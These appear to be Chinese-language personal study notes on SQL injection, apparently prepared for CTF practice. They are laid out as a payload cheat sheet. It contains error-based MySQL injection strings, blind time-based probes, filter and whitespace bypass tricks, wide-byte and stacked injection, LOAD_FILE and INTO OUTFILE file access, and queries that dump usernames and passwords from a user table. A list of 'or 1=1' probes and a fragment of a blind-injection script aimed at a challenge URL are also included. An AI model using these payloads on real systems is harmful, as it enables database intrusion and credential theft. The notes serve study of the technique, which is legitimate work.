SQL注入学习笔记

  • 基于报错的sql注入

    • 关于SQL注入的五大报错注入函数
    • 报错型sql注入原理分析
    • 报错函数floorExtractValueUpdateXmlGeometryCollectionpolygonmultipointmultlinestringmultpolygonlinestring

    • select * from test where id = '1' and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#concat,结果会多一个1或0

    • select * from test where id = '1' and (extractvalue(1, concat(0x5c,(select database()))))#extractvalue,(有长度限制,最长32位)
    • select * from test where id = '1' and EXP(~(SELECT * from(select database())a))#EXP,版本在5.5.5及其以上
    • select * from test where id = '1' and (updatexml(0x3a,concat(1,(select database())),1))#updatexml(有长度限制,最长32位)
    • select !(select * from (select version())x) - ~0#bigint超出范围;~0是对0逐位取反.版本在5.5.5及其以上
    • select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x#mysql列名不能重复特性,此处重复了version,所以报错。

    • 报错一次只能查询一列,可用group_concat,如:select * from test where id = '1' and EXP(~(SELECT * from(SELECT group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database())a))

    • 如果关键的表被禁用了,可以使用这种形式select count(*) from (select 1 union select null union select !1) as t group by concat(version(),floor(rand(0)*2))
    • 如果rand被禁用了可以使用用户变量来报错select min(@a:=1) from information_schema.tables group by concat(VERSION(),@a:=(@a+1)%2)
  • 宽字节注入
    %DF’

  • SQL约束攻击
    数据库宽松模式下,插入数据长度超过字段限制时,仅插入允许的最长部分。
  • INSERT INTO注入
    可用时间盲注(https://blog.csdn.net/u011377996/article/details/79340100)
  • DS_store源码泄露
  • stacked injection堆叠注入,一次执行多条语句

  • Mysql常用

    • SELECT database();#数据库:lchengtest
    • SELECT schema_name from information_schema.schemata;#数据库:lchengtest
    • SELECT TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=’lchengtest’;#表名
    • select COLUMN_NAME from information_schema.COLUMNS where table_name = ‘user’;#列名
    • SELECT Id,username,password from user;

    • select group_concat(table_name) from information_schema.tables where table_schema=database();

    • select group_concat(column_name) from information_schema.columns where table_name=’user’;
    • select group_concat(concat(id,username,password)) from user; #行间无分隔符,列分隔符为,
    • select group_concat(concat(id,0x7c,username,0x7c,password)) from user; #用|分隔行,用,分隔列
    • select group_concat(concat_ws(‘|’,id,username,password)) from user; #同上
  • 技巧

    • 当空格被过滤时,通常用()(select(ascii(mid((select(flag)from(flag))from(1)))<>103));或者/**/或+代替空格
    • 内联注释/*or*/、双重关键字oorr(中间可用其他被过滤的关键字)、大小写混用Or、编码(hex,urlencode)、符号(and=&&,or=||)
    • 字符串使用16进制替换,如’root’替换为0x726f6f74,不需要带引号
    • char(27)代替单引号
    • 空格绕过
      • %09 TAB 键(水平)
      • %0a 新建一行
      • %0c 新的一页
      • %0d return 功能
      • %0b TAB 键(垂直)
      • %a0 空格
    • group_concat-多列联合到一列,concat多行联合到一行,concat_ws基本同concat(但第一个参数为分隔符)
    • 字符串截取函数MID(column_name,start[,length]),substr(string, start, length),Left(string,n).substr()substring().
    • Sql注入截取字符串常用函数
    • ORD()此函数为返回第一个字符的ASCII码
    • Ascii()将某个字符转换为ascii
    • 默认地,UNION操作符选取不同的值。如果允许重复的值,请使用UNION ALL
    • regexpsql 盲注之正则表达式攻击
    • Load_file(file_name):读取文件并返回该文件的内容作为一个字符串。
    • LOAD DATA INFILE语句用于高速地从一个文本文件中读取行, 并装入一个表中
    • SELECT.....INTO OUTFILE 'file_name'可以把被选择的行写入一个文件中
    • HPP(HTTP参数污染攻击),构造含多个相同参数的请求
    • order by rand(true/false)结果不同
    • 异或注入:判断过滤http://120.24.86.145:9004/1ndex.php?id=1'^(length('union')=5)%23当union被过滤时1^0 输出id=1;当union没被过滤时 1 ^ 1 输出 id=0.
    • hex用于将字符串转为16进制
    • 猜到字段名的盲注(bugku-login3(SKCTF))

      1
      2
      3
      payload = "password"
      payload_len = tamper("(length(", "){0}{1})")
      payload_data = tamper("(ASCII(SUBSTRING((", ")from({0}))){1}{2})")
    • 使用未定义函数可爆数据库名,如username=' or '1&password=' or pcat() or '1,FUNCTION error_based_hpf.pcat does not exist

    • 逗号可以使用join绕过ffff' union select * from ((select 1)a join (select 2)b join (select 3)c join (select 4)d) #
  • mysql常用函数

  1. version()——MySQL 版本
  2. user()——数据库用户名
  3. database()——数据库名
  4. @@basedir/@@datadir——安装路径/数据库路径
  5. @@version_compile_os——操作系统版本
  6. system_user()——系统用户名
  • 一般用于尝试的语句

    • – +可以用#替换, url 提交过程中 Url 编码后的#为%23,注意特殊字符'"= )或关键字or等可能被过滤;另外可将1=1换成sleep(5)
    • or 1=1– +
    • ‘or 1=1– +
    • “or 1=1– +
    • )or 1=1– +
    • ‘)or 1=1– +
    • “) or 1=1– +
    • “))or 1=1– +
  • SQL盲注

    • If(ascii(substr(database(),0,1))=115,1,sleep(5))数据库名第一个字母为s则正确,否则延时5s
    • select case when ascii(substring((select database()) from 0 for 1))=115 then 1 else sleep(5) end同上
  • PHP相关函数及绕过

    • addslashes()函数返回在预定义字符之前添加反斜杠的字符串:单引号(’)、双引号(”)、 反斜杠(\)、 NULL
    • stripslashes()函数删除由addslashes()函数添加的反斜杠。
    • get_magic_quotes_gpc()判断是否开启自动执行addslashes(),0关闭1开启,在php.ini中配置
    • mysql_real_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符:\x00、\n、\r、\、’、”、\x1a